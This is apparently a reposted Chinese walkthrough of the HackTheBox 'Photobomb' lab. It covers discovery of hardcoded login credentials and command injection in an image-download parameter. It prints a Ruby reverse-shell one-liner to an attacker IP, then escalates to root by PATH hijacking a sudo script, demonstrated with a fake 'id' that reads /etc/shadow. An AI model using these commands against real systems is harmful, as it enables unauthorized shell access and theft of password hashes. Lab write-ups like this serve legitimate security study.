HTB-Photobomb

news2024/10/3 10:39:36

在这里插入图片描述

HTB-Photobomb

  • 信息收集
  • 开机
  • 提权
  • 对于问题的思考

信息收集

端口扫描
在这里插入图片描述

目标首页
在这里插入图片描述
有一个http Authorization

目录扫描
在这里插入图片描述
在这里插入图片描述

在查看源码的时候发现了一个js文件。
在这里插入图片描述
在这里插入图片描述
并且发现了访问不存在的目录会出现错误提示。
在这里插入图片描述
通过搜索得知

Sinatra 是一个基于 Ruby 语言的 DSL(领域专属语言),可以轻松、快速的创建 web 应用。-------Sinatra 中文文档

通过上面发现了http Authorization的登陆凭证pH0t0:b0Mb!,使用凭证登录。
在这里插入图片描述

登陆进去没有发现什么,决定开始第二次信息收集,没错,没有额外收获。对其下载功能使用bp,能看见三个参数。

在这里插入图片描述
估计突破口在这三个参数当中,谁知道呢,因为前面知道Sinatra,所以首先考虑ruby,经过简单测试发现突破点应在filetype,并且无法正确回弹。

开机

没关系,至少证明我应该找到方向了,但是为什么会回弹没有完全成功。不会防火墙拦截了吧。更换了一个ruby的reshell脚本。

ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.9",1234))'

在这里插入图片描述

提权

通过sudo -l能发现一个文件。
在这里插入图片描述
文件内容与下,最重要的应该是最后一句。在source_images目录里找到所有jpg文件并且给予root:root。
在这里插入图片描述
立即想到的方法是通过这个脚本修改所属者和组的权限,使用bash -p选项将root组添加至wizard用户组。似乎不行。
在这里插入图片描述

虽然在hacktrick上找到了可能能用的方法,但是我没研究出来。在这里插入图片描述
又出现问题了,大概率是用法不对。
在这里插入图片描述

因为脚本使用的find命令,注意这个find命令并不是绝对路径。
在这里插入图片描述
又因为系统环境变量PATH里面有/usr/bin,所以我们能够直接用find调用/usr/bin/find。
在这里插入图片描述
如果我对系统变量进行修改,使之find为我们自己创建的一个同名文件。

在这里插入图片描述
接着要做的就是把/tmp目录添加到系统环境变量里。
在这里插入图片描述

PATH=/tmp:$PATH

在这里插入图片描述
然后执行脚本发现没有作用,为什么呢。
在这里插入图片描述
然后尝试以下方式能成功,这又是为什么。

在这里插入图片描述

对于问题的思考

为了知道那两个为什么,我做了个实验。tee.sh里面只有id命令,然后当前目录下有一个id同名文件,在修改系统环境变量命令后面加上要执行的脚本,就会出现要执行的脚本使用前面系统环境变量里面的id文件(也就是当前目录下的id)。

id内容如下。

在这里插入图片描述

tee.sh的内容为。
在这里插入图片描述
先分开运行看看。能看到加入环境变量前后id的命令发生了改变,并且再用sudo会发现tee.sh文件内的id是查看用户(组)的命令,而不是cat /etc/shadow。
在这里插入图片描述

这次加上合着一起用。可以看到使用sudo执行了当前目录文件id的cat /etc/shadow。
在这里插入图片描述

也就是说如果需要让脚本内的命令以某个路径下的同名命令替换运行并以sudo权限运行的话就需要sudo PATH:somepath:$PATH somescript.sh。至于为什么,我觉得以我目前的水平只能认为这可能是一种固定的使用方式,至于真的是否如此,只有等日后探究真相。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/369493.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2. Dart 开发工具环境配置

很多编辑器都可以用来开发dart,所以大家可以选择自己喜欢的编辑器去进行开发。我还是比较喜欢vs code如果你不用vs code来开发dart的话,这篇文章可以直接跳过。如果想要在vs code里有dart的语法提示,我们需要安装相关的插件如图点开插件输入d…

MySQL高可用 集群(MHA)

1. MHA集群概述 集群的定义:多台服务器一起提供相同的服务,如(web集群)等。常见集群的分类: LB(负载均衡集群):服务器共同平均分摊处理客户端的多次连接请求。 HA(高可用…

python库streamlit学习笔记

什么是streamlit? Streamlit是一个免费的开源框架,用于快速构建和共享漂亮的机器学习和数据科学Web应用程序。它是一个基于Python的库,专为机器学习工程师设计。数据科学家或机器学习工程师不是网络开发人员,他们对花几周时间学习…

Python近红外光谱分析与机器学习、深度学习方法融合实践技术

、 第一n入门基础【理论讲解与案 1、Python环境搭建( 下载、安装与版本选择)。 2、如何选择Python编辑器?(IDLE、Notepad、PyCharm、Jupyter…) 3、Python基础(数据类型和变量、字符串和编码、list和tu…

教你如何搭建培训机构-教务管理系统,demo可分享

1、简介 1.1、案例简介 本文将介绍,如何搭建培训机构-教务管理。 1.2、应用场景 可对排课、上课点名、课堂点评、作业发布进行管理。 2、设置方法 2.1、表单搭建 1)新建表单【学员】,字段设置如下: 名称类型学员成员单选姓…

STM32—独立看门狗(IWDG)

什么是看门狗? 在由单片机构成的微型计算机系统中,由于单片机的工作常常会收到来自外界电磁场的干扰,造成程序跑飞,而陷入死循环,程序的正常运行被打断,由单片机控制的系统无法继续工作,会造成…

Python Unittest框架

1、unittest简介 unittest是Python自带的单元测试框架,具备编写用例、组织用例、执行用例、输出报告等自动化框架的条件,主要适用于单元测试,可以用来作自动化测试框架的用例组织执行框架。 2、unittest框架的特性: 提供用例组织与执行:当测试用例只有几条的时候可以不考虑…

notepad++如何快速批量搜索复制,3步搜索+标记所在行+复制书签行

一。缘起 用习惯了 某edit, 突然用notepad很不习惯,至少3处不习惯:列操作,批量复制搜索行,和是txt文件比较。 另外一直坚持认为,不提供快捷键操作的软件不是好软件:)当下屏幕对眼睛迫害至深的时…

【正点原子FPGA连载】第十七章双核AMP实验 摘自【正点原子】DFZU2EG_4EV MPSoC之嵌入式Vitis开发指南

1)实验平台:正点原子MPSoC开发板 2)平台购买地址:https://detail.tmall.com/item.htm?id692450874670 3)全套实验源码手册视频下载地址: http://www.openedv.com/thread-340252-1-1.html 第十七章双核AMP…

使用FVM管理Flutter SDK版本切换

window下配置fvm版本切换工具,管理flutter sdk版本的切换 一、配置flutter dart环境 使用前需要先配置flutter dart环境,才能下载jvm 已经配置好环境的,在命令框中输入dart --version验证是否安装成功 C:\Users\topqizhi>dart --versi…

前端导出表格 修改样式(xlsx-style)用法

一. 应用机制 xlsx-style 修改样式的机制 就是选中哪一行,那一列或者哪一个 然后去修改 比如表格最左上角的一个格子 坐标是(0, 0)下标 也可以叫做 A1 选中之后 可以修改其样式 二. 实战讲解 1. 下载依赖 npm install xls…

了解Python语言和版本

1.1 任务1了解Python语言和版本 Python 语言的名字来自于一个著名的电视剧"Monty Pythons Flying Cireus",Python之父 Guido van Rossum是这部电视剧的狂热爱好者,所以把他设计的语言命名为Python。 Python 是一门跨平台、开源、免费的解释型高级动态编…

2023年,尽量还是别裸辞了吧···

你知道什么叫 度日如年 吗?就是在家待业的每一天。你知道什么叫心焦如焚吗?就是投出100份简历却等不来一个回应。 当前就业环境,裁员、失业消息满天飞,好像能有一份工作就不错了,更别说高薪。其实这只是一方面。另一方…

电商平台商品详情接口的应用场景

API接口的定义价格、库存量、发货地点等。此外,它还可以提供商品的详细信息,包括商品的图片、详细描述、规格参数、售后服务等。这些信息可以帮助用户更好地了解商品,从而更好地选择商品。其次,电商平台商品详情接口的实现原理是基…

关于Qt程序打包后运行库依赖的常见问题分析及解决方法

目录 一. 大致如下常见问题: (1)找不到程序所依赖的Qt库 version Qt_5 not found (required by (2)Could not Load the Qt platform plugin "xcb" in "" even though it was found &#xff0…

Antd Select 设置偏移量

对于Select 组件我要想实现如下效果,该如何处理呢?我们查看你select组件https://ant.design/components/select-cn#select-props 并没有相关的属性API,如何去处理这个呢?添加 dropdownAlign{{ offset: [0, 30] }} 这个属性,可以设…

在Linux中进行rocketmq及rocketmq控制台安装与配置

rocketmq下载安装的版本:rocketmq-rocketmq-all-5.0.0.tar.gz rocketmq控制台下载安装的版本:rocketmq-externals-rocketmq-console-1.0.0.tar.gz rocketmq安装 第一步,下载server-jre-8u202-linux-x64.tar.gz安装包。 登录网址&#xff…

UVa 1604 Cubic Eight-Puzzle 立体八数码问题 双向BFS 状态设定

题目链接:Cubic Eight-Puzzle 题目描述: 给定一个初始状态和一个终止状态的3∗33*33∗3网格,网格中含有888个立方体和一个空白,每个立方体的颜色如下: 需要注意的是:只会给出终止状态的立方体的顶面朝向&a…

Android init 进程流程分析 一

init 进程流程分析 一1.1引入init进程1.2 init 进程入口函数参考博客预告下一章 FirstStageMain()分析1.1引入init进程 1.启动电源以及系统启动: 上电引导芯片从预定义的地放(固化在ROM)开始执行,加载引导程序Bootloader 到RAM中&#xff0c…

格雷码的实现

格雷码:任意两个相邻的二进制数之间只有一位不同 想必通信专业的学生应该都接触过格雷码,它出现在数电、通信原理等课程里。 如下图所示一个四位格雷码是什么样子的: 格雷码的特点: 其最大的特点是任意上下相邻的两个码值间&am…